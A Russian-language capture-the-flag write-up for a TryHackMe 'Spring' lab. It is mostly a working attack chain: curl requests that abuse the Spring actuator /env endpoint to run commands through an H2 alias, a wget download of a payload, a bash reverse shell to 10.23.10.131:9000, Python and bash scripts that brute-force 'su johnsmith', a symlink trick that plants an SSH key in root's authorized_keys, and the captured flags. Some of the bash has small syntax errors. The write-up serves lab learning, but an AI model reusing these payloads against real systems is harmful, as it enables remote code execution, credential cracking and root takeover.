Spring


Получение reverse shell

Я его получал долго, так что вот вам как его получать:

┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://10.23.10.131/reverse.sh -O /tmp/reverse.sh\');\"}' "https://spring.thm/actuator/env" -k
{"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('wget http://10.23.10.131/reverse.sh -O /tmp/reverse.sh');"}

┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://spring.thm/actuator/restart" -k
{"message":"Restarting"}

┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://spring.thm/actuator/env" -k
{"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('bash /tmp/reverse.sh');"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://spring.thm/actuator/restart" -k
{"message":"Restarting"}
┌──(kolya080808㉿Nikolapc)-[~/school]
└─$ cat reverse.sh
bash -c "bash -i >& /dev/tcp/10.23.10.131/9000 0>&1"

Перебор пароля для johnsmith

cat rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized.txt
import subprocess
import sys
import os
import signal
import time
from multiprocessing import Process, Value
from threading import Lock

# Для управления завершением всех процессов
found = Value('b', False)
lock = Lock()

def progressbar(current, total):
    progress = int((current * 100) / total)
    done = int(progress * 40 / 100)
    left = 40 - done
    bar = "#" * done + "-" * left
    sys.stdout.write(f"\rCracking : [{bar}] {progress}%")
    sys.stdout.flush()

def brute(keyword, total_pid):
    password = f"PrettyS3cure{keyword}Password123."
    try:
        output = subprocess.check_output(
            ['su', 'johnsmith', '-c', 'id'],
            input=f"{password}\n",
            stderr=subprocess.STDOUT,
            universal_newlines=True,
            timeout=2
        )
        if "Authentication failure" not in output:
            with lock:
                if not found.value:
                    print(f"\nCreds Found! johnsmith:{password}\n{output}\nbye...")
                    found.value = True
                    os.killpg(os.getpgid(total_pid), signal.SIGTERM)
    except subprocess.CalledProcessError:
        pass
    except subprocess.TimeoutExpired:
        pass

def main(wordlist_path):
    os.setpgrp()  # Запускаем свою группу процессов
    total_pid = os.getpid()

    with open(wordlist_path, 'r') as f:
        words = [line.strip() for line in f if line.strip()]

    total = len(words)
    current = 1
    procs = []

    for word in words:
        if found.value:
            break
        p = Process(target=brute, args=(word, total_pid))
        p.start()
        procs.append(p)

        progressbar(current, total)
        current += 1
        time.sleep(0.01)  # небольшой интервал, чтобы избежать спама

    for p in procs:
        p.join()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 brute_script.py <wordlist.txt>")
        sys.exit(1)
    try:
        main(sys.argv[1])
    except KeyboardInterrupt:
        print("\nInterrupted by user. Exiting.")
        sys.exit(0)
# ЭТОТ БЫСТРЕЕ
#!/bin/bash

set -m
export MASTER_PID=$$
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT

# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
function draw_meter {
        let _percent=(${1}*100/${2}*100)/100
        let _filled=(${_percent}*4)/10
        let _empty=40-_filled

        _filled=$(printf "%${_filled}s")
        _empty=$(printf "%${_empty}s")

        printf "\rWorking  : [${_filled// /#}${_empty// /-}] ${_percent}%%"
}

function attempt_access() {
        token=$1
        probe="PrettyS3cure${token}Password123."
        response=$( ( sleep 0.2s && echo $probe ) | script -qc 'su johnsmith -c "id"' /dev/null)
        if [[ $response != *"Authentication failure"* ]]; then
                printf "\rAccess Granted! johnsmith:$probe\n$response\nclosing..."
                kill -9 -$(ps -o pgid= $MASTER_PID  | grep -o '[0-9]*')
        fi
}

dictionary_file=$1
total_words=$(wc -l $dictionary_file | grep -o '[0-9]*')
progress_counter=1

while IFS= read -r candidate
do
        attempt_access $candidate &
        draw_meter ${progress_counter} ${total_words}
        progress_counter=$(( progress_counter + 1 ))
done < $dictionary_file

waitc

Код получение root-а (рабочий, НЕОБХОДИМО ЗАПУСКАТЬ В ~/tomcatlogs, А ТАК ЖЕ ПОСЛЕ ВЫХОДА ИЗ REVERSE SHELL И ПОСЛЕДУЮЩЕГО ВХОДА ПО SSH (с помощью заранее подготовленного ключа), ТАК КАК СЕРВЕР ВЫКЛЮЧАЕТСЯ НА ВРЕМЯ ПОЛЬЗОВАНИЯ REVERSE SHELL):

#!/bin/bash

[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
pubkey=$(cat ./key.pub)

curl -X POST -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://localhost/actuator/shutdown" -k

d = $(date '+%s')

for i in {1...30}
do
    let time=$((d + i))
    ln -s /root/.ssh/authorized_keys "$time.log"
done


sleep 30s



curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s

ssh  -o "StrictHostKeyChecking=no" -i ./key root@localhost

Флаги:

- Foothold: THM{dont_expose_.git_to_internet}
- User: THM{this_is_still_password_reuse}
- Root: THM{sshd_does_not_mind_the_junk}

Видео выполнения


Загрузки

Download files archive